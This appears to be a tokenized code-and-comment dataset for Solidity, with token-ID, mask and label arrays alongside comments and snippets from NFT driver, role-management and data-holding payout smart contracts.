[ 1, 3886, 364, 4232, 39, 3462, 2430, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3462, 3886, 353, 2604, 2938, 10784, 429, 3886, 288, 203, 683, 9454, 18035, 560, 374, 18, 28, 18, 20, 31, 203, 565, 3885, 12, 2867, 389, 28339, 16, 1758, 389, 3666, 16, 1731, 3778, 389, 892, 13, 2604, 2938, 10784, 429, 3886, 24899, 28339, 16, 389, 3666, 16, 389, 892, 13, 8843, 429, 2618, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/11155111/0x945217B1bA47Ad0834e838ae173FB8B4B9135314/sources/src/NFTDriver.sol
@notice Returns the NFTDriver storage. @return storageRef The storage. slither-disable-next-line assembly
function _nftDriverStorage() internal view returns (NFTDriverStorage storage storageRef) { bytes32 slot = _nftDriverStorageSlot; assembly { storageRef.slot := slot } }
3,820,079
[ 1, 1356, 326, 423, 4464, 4668, 2502, 18, 327, 2502, 1957, 1021, 2502, 18, 2020, 2927, 17, 8394, 17, 4285, 17, 1369, 19931, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 82, 1222, 4668, 3245, 1435, 2713, 1476, 1135, 261, 50, 4464, 4668, 3245, 2502, 2502, 1957, 13, 288, 203, 3639, 1731, 1578, 4694, 273, 389, 82, 1222, 4668, 3245, 8764, 31, 203, 3639, 19931, 288, 203, 5411, 2502, 1957, 18, 14194, 519, 4694, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; import "./RoleCreator.sol"; import "../common/Check.sol"; import "../../interaction/interface/IRoleAuth.sol"; import "../../interaction/interface/IRoleManagement.sol"; /// @title Role management contract /// @author ["Cryptape Technologies <[email protected]>"] /// @notice The address: 0xffffffffffffffffffffffffffffffffff020007 /// The interface the can be called: All contract RoleManagement is IRoleManagement, Check { RoleCreator roleCreator = RoleCreator(roleCreatorAddr); IRoleAuth roleAuth = IRoleAuth(roleAuthAddr); mapping(address => address[]) internal accounts; mapping(address => address[]) internal roles; /// @notice Create a new role /// @param _name The name of role /// @param _permissions The permissions of role /// @return New role's address function newRole(bytes32 _name, address[] _permissions) external hasPermission(builtInPermissions[5]) returns (address roleid) { return roleCreator.createRole(_name, _permissions); } /// @notice Delete the role /// @param _role The address of role /// @return true if successed, otherwise false function deleteRole(address _role) external hasPermission(builtInPermissions[6]) returns (bool) { // Cancel the role of the account's which has the role require(roleAuth.clearAuthOfRole(_role), "clearAuthOfRole failed."); Role roleContract = Role(_role); roleContract.deleteRole(); return true; } /// @notice Update role's name /// @param _role The address of role /// @param _name The new name of role /// @return true if successed, otherwise false function updateRoleName(address _role, bytes32 _name) external hasPermission(builtInPermissions[7]) returns (bool) { Role roleContract = Role(_role); return roleContract.updateName(_name); } /// @notice Add permissions of role /// @param _role The address of role /// @param _permissions The permissions of role /// @return true if successed, otherwise false function addPermissions(address _role, address[] _permissions) external hasPermission(builtInPermissions[7]) returns (bool) { // Set the authorization of all the account's which has the role require( roleAuth.setPermissionsOfRole(_role, _permissions), "setPermissionsOfRole failed." ); Role roleContract = Role(_role); require( roleContract.addPermissions(_permissions), "addPermissions failed." ); return true; } /// @notice Delete permissions of role /// @param _role The address of role /// @param _permissions The permissions of role /// @return true if successed, otherwise false function deletePermissions(address _role, address[] _permissions) external hasPermission(builtInPermissions[7]) returns (bool) { Role roleContract = Role(_role); require( roleContract.deletePermissions(_permissions), "deletePermissions failed." ); // Cancel the authorization of all the account's which has the role require( roleAuth.cancelPermissionsOfRole(_role, _permissions), "cancelPermissionsOfRole failed." ); return true; } /// @notice Set the role to the account /// @param _account The account to be setted /// @param _role The role to be setted /// @return true if successed, otherwise false function setRole(address _account, address _role) external hasPermission(builtInPermissions[8]) returns (bool) { require(roleAuth.setRole(_account, _role), "setRole failed."); return true; } /// @notice Cancel the account's role /// @param _account The account to be canceled /// @param _role The role to be canceled /// @return true if successed, otherwise false function cancelRole(address _account, address _role) external hasPermission(builtInPermissions[9]) returns (bool) { require(roleAuth.cancelRole(_account, _role), "cancelRole failed."); return true; } /// @notice Clear the account's role /// @param _account The account to be cleared /// @return true if successed, otherwise false function clearRole(address _account) external hasPermission(builtInPermissions[9]) returns (bool) { require(roleAuth.clearRole(_account), "clearRole failed."); return true; } }
@notice Delete the role @param _role The address of role @return true if successed, otherwise false Cancel the role of the account's which has the role
function deleteRole(address _role) external hasPermission(builtInPermissions[6]) returns (bool) { require(roleAuth.clearAuthOfRole(_role), "clearAuthOfRole failed."); Role roleContract = Role(_role); roleContract.deleteRole(); return true; }
14,073,447
[ 1, 2613, 326, 2478, 225, 389, 4615, 1021, 1758, 434, 2478, 327, 638, 309, 8667, 3692, 16, 3541, 629, 10347, 326, 2478, 434, 326, 2236, 1807, 1492, 711, 326, 2478, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1430, 2996, 12, 2867, 389, 4615, 13, 203, 3639, 3903, 203, 3639, 26097, 12, 12406, 382, 6521, 63, 26, 5717, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 2583, 12, 4615, 1730, 18, 8507, 1730, 951, 2996, 24899, 4615, 3631, 315, 8507, 1730, 951, 2996, 2535, 1199, 1769, 203, 203, 3639, 6204, 2478, 8924, 273, 6204, 24899, 4615, 1769, 203, 3639, 2478, 8924, 18, 3733, 2996, 5621, 203, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import './Hub.sol'; import {ERC725} from './ERC725.sol'; import {HoldingStorage} from './HoldingStorage.sol'; import {ProfileStorage} from './ProfileStorage.sol'; import {LitigationStorage} from './LitigationStorage.sol'; import {Profile} from './Profile.sol'; import {CreditorHandler} from './CreditorHandler.sol'; import {Approval} from './Approval.sol'; import {SafeMath} from './SafeMath.sol'; contract Holding is Ownable { using SafeMath for uint256; Hub public hub; uint256 public difficultyOverride; constructor(address hubAddress) public{ require(hubAddress!=address(0)); hub = Hub(hubAddress); } function setHubAddress(address newHubAddress) public{ require(hub.isContract(msg.sender), "This function can only be called by contracts or their creator!"); hub = Hub(newHubAddress); } event OfferTask(bytes32 dataSetId, bytes32 dcNodeId, bytes32 offerId, bytes32 task); event OfferCreated(bytes32 offerId, bytes32 dataSetId, bytes32 dcNodeId, uint256 holdingTimeInMinutes, uint256 dataSetSizeInBytes, uint256 tokenAmountPerHolder, uint256 litigationIntervalInMinutes); event OfferFinalized(bytes32 offerId, address holder1, address holder2, address holder3); event PaidOut(bytes32 offerId, address holder, uint256 amount); function createOffer(address identity, uint256 dataSetId, uint256 dataRootHash, uint256 redLitigationHash, uint256 greenLitigationHash, uint256 blueLitigationHash, uint256 dcNodeId, uint256 holdingTimeInMinutes, uint256 tokenAmountPerHolder, uint256 dataSetSizeInBytes, uint256 litigationIntervalInMinutes) public { // Verify sender require(ERC725(identity).keyHasPurpose(keccak256(abi.encodePacked(msg.sender)), 2)); require(Approval(hub.getContractAddress("Approval")).identityHasApproval(identity), "Identity does not have approval for using the contract"); // First we check that the paramaters are valid require(dataRootHash != 0, "Data root hash cannot be zero"); require(redLitigationHash != 0, "Litigation hash cannot be zero"); require(greenLitigationHash != 0, "Litigation root hash cannot be zero"); require(blueLitigationHash != 0, "Litigation root hash cannot be zero"); require(holdingTimeInMinutes > 0, "Holding time cannot be zero"); require(dataSetSizeInBytes > 0, "Data size cannot be zero"); require(tokenAmountPerHolder > 0, "Token amount per holder cannot be zero"); require(litigationIntervalInMinutes > 0, "Litigation interval cannot be zero"); // Writing data root hash if it wasn't previously set if(HoldingStorage(hub.getContractAddress("HoldingStorage")).fingerprint(bytes32(dataSetId)) == bytes32(0)){ HoldingStorage(hub.getContractAddress("HoldingStorage")).setFingerprint(bytes32(dataSetId), bytes32(dataRootHash)); } else { require(bytes32(dataRootHash) == HoldingStorage(hub.getContractAddress("HoldingStorage")).fingerprint(bytes32(dataSetId)), "Cannot create offer with different data root hash!"); } // Now we calculate the offerId, which should be unique // We consider a pair of dataSet and identity unique within one block, hence the formula for offerId bytes32 offerId = keccak256(abi.encodePacked(bytes32(dataSetId), identity, blockhash(block.number - 1))); //We calculate the task for the data creator to solve //Calculating task difficulty uint256 difficulty; if(HoldingStorage(hub.getContractAddress("HoldingStorage")).getDifficultyOverride() != 0) { difficulty = HoldingStorage(hub.getContractAddress("HoldingStorage")).getDifficultyOverride(); } else { if(logs2(ProfileStorage(hub.getContractAddress("ProfileStorage")).activeNodes()) <= 4) difficulty = 1; else { difficulty = 4 + (((logs2(ProfileStorage(hub.getContractAddress("ProfileStorage")).activeNodes()) - 4) * 10000) / 13219); } } // Writing variables into storage HoldingStorage(hub.getContractAddress("HoldingStorage")).setOfferParameters( offerId, identity, bytes32(dataSetId), holdingTimeInMinutes, tokenAmountPerHolder, litigationIntervalInMinutes, blockhash(block.number - 1) & bytes32(2 ** (difficulty * 4) - 1), difficulty ); HoldingStorage(hub.getContractAddress("HoldingStorage")).setOfferLitigationHashes( offerId, bytes32(redLitigationHash), bytes32(greenLitigationHash), bytes32(blueLitigationHash) ); emit OfferTask(bytes32(dataSetId), bytes32(dcNodeId), offerId, blockhash(block.number - 1) & bytes32(2 ** (difficulty * 4) - 1)); emit OfferCreated(offerId, bytes32(dataSetId), bytes32(dcNodeId), holdingTimeInMinutes, dataSetSizeInBytes, tokenAmountPerHolder, litigationIntervalInMinutes); } function finalizeOffer(address identity, uint256 offerId, uint256 shift, bytes confirmation1, bytes confirmation2, bytes confirmation3, uint8[] encryptionType, address[] holderIdentity, address parentIdentity) public { HoldingStorage holdingStorage = HoldingStorage(hub.getContractAddress("HoldingStorage")); // Verify sender require(ERC725(identity).keyHasPurpose(keccak256(abi.encodePacked(msg.sender)), 2), "Sender does not have action permission to call this function!"); if(parentIdentity != address(0)){ CreditorHandler(hub.getContractAddress("CreditorHandler")).finalizeOffer(offerId, identity, parentIdentity); } require(identity == holdingStorage.getOfferCreator(bytes32(offerId)), "Offer can only be finalized by its creator!"); // Check if signatures match identities require(ERC725(holderIdentity[0]).keyHasPurpose(keccak256(abi.encodePacked(ecrecovery(keccak256(abi.encodePacked(offerId,uint256(holderIdentity[0]))), confirmation1))), 4), "Wallet from holder 1 does not have encryption approval!"); require(ERC725(holderIdentity[1]).keyHasPurpose(keccak256(abi.encodePacked(ecrecovery(keccak256(abi.encodePacked(offerId,uint256(holderIdentity[1]))), confirmation2))), 4), "Wallet from holder 2 does not have encryption approval!"); require(ERC725(holderIdentity[2]).keyHasPurpose(keccak256(abi.encodePacked(ecrecovery(keccak256(abi.encodePacked(offerId,uint256(holderIdentity[2]))), confirmation3))), 4), "Wallet from holder 3 does not have encryption approval!"); // Verify task answer bytes32[3] memory hashes; hashes[0] = keccak256(abi.encodePacked(holderIdentity[0], holdingStorage.getOfferTask(bytes32(offerId)))); hashes[1] = keccak256(abi.encodePacked(holderIdentity[1], holdingStorage.getOfferTask(bytes32(offerId)))); hashes[2] = keccak256(abi.encodePacked(holderIdentity[2], holdingStorage.getOfferTask(bytes32(offerId)))); require(uint256(hashes[0]) < uint256(hashes[1]) && uint256(hashes[1]) < uint256(hashes[2]), "Solution hashes are not sorted!"); // Verify task answer require(((keccak256(abi.encodePacked(hashes[0], hashes[1], hashes[2])) >> (shift * 4)) & bytes32((2 ** (4 * holdingStorage.getOfferDifficulty(bytes32(offerId)))) - 1)) == holdingStorage.getOfferTask(bytes32(offerId)), "Submitted identities do not answer the task correctly!"); // Write data into storage holdingStorage.setHolders(bytes32(offerId), holderIdentity, encryptionType); // Secure funds from all parties reserveTokens(offerId, identity, holderIdentity); emit OfferFinalized(bytes32(offerId), holderIdentity[0], holderIdentity[1], holderIdentity[2]); } function reserveTokens(uint256 offerId, address payer, address[] identity) internal { ProfileStorage profileStorage = ProfileStorage(hub.getContractAddress("ProfileStorage")); uint256 amount = HoldingStorage(hub.getContractAddress("HoldingStorage")).getOfferTokenAmountPerHolder(bytes32(offerId)); if(profileStorage.getWithdrawalPending(payer) && profileStorage.getWithdrawalAmount(payer).add(amount.mul(3)) > profileStorage.getStake(payer) - profileStorage.getStakeReserved(payer)) { profileStorage.setWithdrawalPending(payer,false); } if(profileStorage.getWithdrawalPending(identity[0]) && profileStorage.getWithdrawalAmount(identity[0]).add(amount) > profileStorage.getStake(identity[0]) - profileStorage.getStakeReserved(identity[0])) { profileStorage.setWithdrawalPending(identity[0],false); } if(profileStorage.getWithdrawalPending(identity[1]) && profileStorage.getWithdrawalAmount(identity[1]).add(amount) > profileStorage.getStake(identity[1]) - profileStorage.getStakeReserved(identity[1])) { profileStorage.setWithdrawalPending(identity[1],false); } if(profileStorage.getWithdrawalPending(identity[2]) && profileStorage.getWithdrawalAmount(identity[2]).add(amount) > profileStorage.getStake(identity[2]) - profileStorage.getStakeReserved(identity[2])) { profileStorage.setWithdrawalPending(identity[2],false); } uint256 minimalStake = Profile(hub.getContractAddress("Profile")).minimalStake(); require(minimalStake <= profileStorage.getStake(payer).sub(profileStorage.getStakeReserved(payer)), "Data creator does not have enough stake to create new jobs!"); require(minimalStake <= profileStorage.getStake(identity[0]).sub(profileStorage.getStakeReserved(identity[0])), "First profile does not have enough stake to take new jobs!"); require(minimalStake <= profileStorage.getStake(identity[1]).sub(profileStorage.getStakeReserved(identity[1])), "Second profile does not have enough stake to take new jobs!"); require(minimalStake <= profileStorage.getStake(identity[2]).sub(profileStorage.getStakeReserved(identity[2])), "Third profile does not have enough stake to take new jobs!"); require(profileStorage.getStake(payer).sub(profileStorage.getStakeReserved(payer)) >= amount.mul(3), "Data creator does not have enough stake for reserving!"); require(profileStorage.getStake(identity[0]).sub(profileStorage.getStakeReserved(identity[0])) >= amount, "First profile does not have enough stake for reserving!"); require(profileStorage.getStake(identity[1]).sub(profileStorage.getStakeReserved(identity[1])) >= amount, "Second profile does not have enough stake for reserving!"); require(profileStorage.getStake(identity[2]).sub(profileStorage.getStakeReserved(identity[2])) >= amount, "Third profile does not have enough stake for reserving!"); profileStorage.increaseStakesReserved( payer, identity[0], identity[1], identity[2], amount ); } function payOut(address identity, uint256 offerId) public { HoldingStorage holdingStorage = HoldingStorage(hub.getContractAddress("HoldingStorage")); // Verify sender require(ERC725(identity).keyHasPurpose(keccak256(abi.encodePacked(msg.sender)), 2) || ERC725(identity).keyHasPurpose(keccak256(abi.encodePacked(msg.sender)), 1), "Sender does not have proper permission to call this function!"); require(Approval(hub.getContractAddress("Approval")).identityHasApproval(identity), "Identity does not have approval for using the contract"); // Verify that the litigation is not in progress LitigationStorage.LitigationStatus status = LitigationStorage(hub.getContractAddress("LitigationStorage")).getLitigationStatus(bytes32(offerId), identity); uint256 litigationTimestamp = LitigationStorage(hub.getContractAddress("LitigationStorage")).getLitigationTimestamp(bytes32(offerId), identity); uint256 litigationInterval = HoldingStorage(hub.getContractAddress("HoldingStorage")).getOfferLitigationIntervalInMinutes(bytes32(offerId)).mul(60); if(status == LitigationStorage.LitigationStatus.initiated) { require(litigationTimestamp + litigationInterval.mul(2) < block.timestamp, "Unanswered litigation in progress, cannot pay out"); } else if(status == LitigationStorage.LitigationStatus.answered){ require(litigationTimestamp + litigationInterval < block.timestamp, "Unanswered litigation in progress, cannot pay out"); } else { require(status == LitigationStorage.LitigationStatus.completed, "Data holder is replaced or being replaced, cannot payout!"); } // Verify holder require(holdingStorage.getHolderStakedAmount(bytes32(offerId), identity) > 0, "Sender is not holding this data set!"); // Calculate amount to send uint256 amountToTransfer = holdingStorage.getOfferTokenAmountPerHolder(bytes32(offerId)); // Multiply the tokenAmountPerHolder by the time the the holder held the data amountToTransfer = amountToTransfer.mul((block.timestamp).sub(holdingStorage.getHolderPaymentTimestamp(bytes32(offerId), identity))); // Divide the tokenAmountPerHolder by the total time amountToTransfer = amountToTransfer.div(holdingStorage.getOfferHoldingTimeInMinutes(bytes32(offerId)).mul(60)); if(amountToTransfer.add(holdingStorage.getHolderPaidAmount(bytes32(offerId), identity)) >= holdingStorage.getHolderStakedAmount(bytes32(offerId), identity)) { amountToTransfer = holdingStorage.getHolderStakedAmount(bytes32(offerId), identity); amountToTransfer = amountToTransfer.sub(holdingStorage.getHolderPaidAmount(bytes32(offerId), identity)); if (amountToTransfer == 0) return; // Offer is completed, release holder stake Profile(hub.getContractAddress("Profile")).releaseTokens(identity, holdingStorage.getHolderStakedAmount(bytes32(offerId), identity)); } // Release tokens staked by holder and transfer tokens from data creator to holder Profile(hub.getContractAddress("Profile")).transferTokens(holdingStorage.getOfferCreator(bytes32(offerId)), identity, amountToTransfer); holdingStorage.setHolderPaymentTimestamp(bytes32(offerId), identity, block.timestamp); uint256 holderPaidAmount = holdingStorage.getHolderPaidAmount(bytes32(offerId), identity); holderPaidAmount = holderPaidAmount.add(amountToTransfer); holdingStorage.setHolderPaidAmount(bytes32(offerId), identity, holderPaidAmount); emit PaidOut(bytes32(offerId), identity, amountToTransfer); } function ecrecovery(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return address(0); bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, hash)); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) } // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return address(0); return ecrecover(prefixedHash, v, r, s); } function logs2(uint x) internal pure returns (uint y) { require(x > 0, "log(0) not allowed"); assembly { let arg := x x := sub(x,1) x := or(x, div(x, 0x02)) x := or(x, div(x, 0x04)) x := or(x, div(x, 0x10)) x := or(x, div(x, 0x100)) x := or(x, div(x, 0x10000)) x := or(x, div(x, 0x100000000)) x := or(x, div(x, 0x10000000000000000)) x := or(x, div(x, 0x100000000000000000000000000000000)) x := add(x, 1) let m := mload(0x40) mstore(m, 0xf8f9cbfae6cc78fbefe7cdc3a1793dfcf4f0e8bbd8cec470b6a28a7a5a3e1efd) mstore(add(m,0x20), 0xf5ecf1b3e9debc68e1d9cfabc5997135bfb7a7a3938b7b606b5b4b3f2f1f0ffe) mstore(add(m,0x40), 0xf6e4ed9ff2d6b458eadcdf97bd91692de2d4da8fd2d0ac50c6ae9a8272523616) mstore(add(m,0x60), 0xc8c0b887b0a8a4489c948c7f847c6125746c645c544c444038302820181008ff) mstore(add(m,0x80), 0xf7cae577eec2a03cf3bad76fb589591debb2dd67e0aa9834bea6925f6a4a2e0e) mstore(add(m,0xa0), 0xe39ed557db96902cd38ed14fad815115c786af479b7e83247363534337271707) mstore(add(m,0xc0), 0xc976c13bb96e881cb166a933a55e490d9d56952b8d4e801485467d2362422606) mstore(add(m,0xe0), 0x753a6d1b65325d0c552a4d1345224105391a310b29122104190a110309020100) mstore(0x40, add(m, 0x100)) let magic := 0x818283848586878898a8b8c8d8e8f929395969799a9b9d9e9faaeb6bedeeff let shift := 0x100000000000000000000000000000000000000000000000000000000000000 let a := div(mul(x, magic), shift) y := div(mload(add(m,sub(255,a))), shift) y := add(y, mul(256, gt(arg, 0x8000000000000000000000000000000000000000000000000000000000000000))) } } }
Multiply the tokenAmountPerHolder by the time the the holder held the data
amountToTransfer = amountToTransfer.mul((block.timestamp).sub(holdingStorage.getHolderPaymentTimestamp(bytes32(offerId), identity)));
958,780
[ 1, 26040, 326, 1147, 6275, 2173, 6064, 635, 326, 813, 326, 326, 10438, 15770, 326, 501, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
